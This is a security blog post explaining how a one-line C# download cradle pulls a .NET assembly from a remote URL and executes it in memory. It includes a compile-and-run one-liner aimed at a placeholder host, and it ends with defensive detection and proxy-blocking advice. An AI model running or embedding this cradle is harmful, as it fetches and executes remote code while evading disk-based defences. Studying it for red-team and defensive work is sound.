Friday, July 6, 2018

Dissecting the .NET Download Cradle

As Powershell is being more heavily monitored, the trend from an offensive perspective has been moving to the adoption of C#. Recently, there was a tweet from @cobbr_io, where he shared a .NET assembly (C# executable or DLL) download cradle that he wrote in C#. This download cradle has the capability to load a remote .NET assembly into memory and run it without dropping it to disk. In this blog post, you will see the internals of this download cradle, practical usage of it from an offensive perspective, and some defensive considerations for its usage.

Below is the original download cradle from @cobbr_io.


Notable .NET Methods


When looking at the download cradle, there are a few key .NET methods that are used, which I want to highlight. 

Assembly.Load Method


The first method is the "Load" method in the "Assembly" .NET object. This method will load a .NET assembly into memory, which can then be invoked. In the case of the download cradle, we are passing a byte array to the "Assembly.Load" method. However, there are other argument combinations that you can pass instead of just a byte array.

System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData(args[0])).GetTypes()[0].GetMethods()[0].Invoke(0, null);
https://msdn.microsoft.com/en-us/library/h538bck7(v=vs.110).aspx


WebClient.DownloadData Method


The second key method in use with the download cradle is the "DownloadData" method in the "WebClient" .NET object. This method allows you to give a URL string as an argument, which will return the downloaded data as a byte array. This byte array is what is passed to the "Assembly.Load" method highlighted previously.

System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData(args[0])).GetTypes()[0].GetMethods()[0].Invoke(0, null);

https://msdn.microsoft.com/en-us/library/xz398a3f(v=vs.110).aspx


MethodBase.Invoke Method


The last method that is vital in the download cradle is the "Invoke" method in the "MethodBase" .NET object. This is what makes it possible to actually invoke the .NET assembly that is loaded into memory.

System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData(args[0])).GetTypes()[0].GetMethods()[0].Invoke(0, null);

https://msdn.microsoft.com/en-us/library/a89hcwhh(v=vs.110).aspx

Compiling .NET Assembly Server Side


You can compile your .NET assembly on the server side with something like the Mono C# Compiler. On Debian Linux, you can install it by simply typing "sudo apt install mono-mcs". After installing the appropriate C# compiler on Linux, you can run the below command to compile your .NET assembly.

mcs source.cs -out:outName

Compiling .NET Assembly Server-Side


Practical Usage of Download Cradle


In order to get the download cradle to function properly, I had to change the second argument in the "Invoke" method from "null" to "new object [1]" as you will see below. The example one-liner shown below takes the slightly modified download cradle code and writes it to disk, then compiles it with the native C# compiler (csc.exe) installed on Windows, and then runs the download cradle to invoke our .NET assembly being remotely hosted. The remote .NET assembly contains code that executes the "calc.exe" process.

echo public class Program { public static void Main(string[] args) { System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData(args[0])).GetTypes()[0].GetMethods()[0].Invoke(0, new object [1]); } } > cradle.cs && C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /nologo /target:winexe cradle.cs && cradle http://x.x.x.x/DotNetAssembly

Running Download Cradle - Popping Calc

Defensive Considerations


There are a couple of security controls that you can put in place in order to help in defending against this .NET assembly download cradle.

User Agent String Monitoring


With this download cradle there is no user agent string, which can stick out amongst network traffic. Detection rules can be built from a network perspective for the absence of a user agent string as shown below. Keep in mind that the download cradle could be modified to include a legitimate user agent string, in which case this would not apply anymore.
User Agent String - .NET Assembly Download Cradle


Disallow Downloading of Executable File Types


In your web proxy, you can implement rules that disallow the downloading of executable file types. This should prevent the downloading of the remote .NET assembly in this example.

References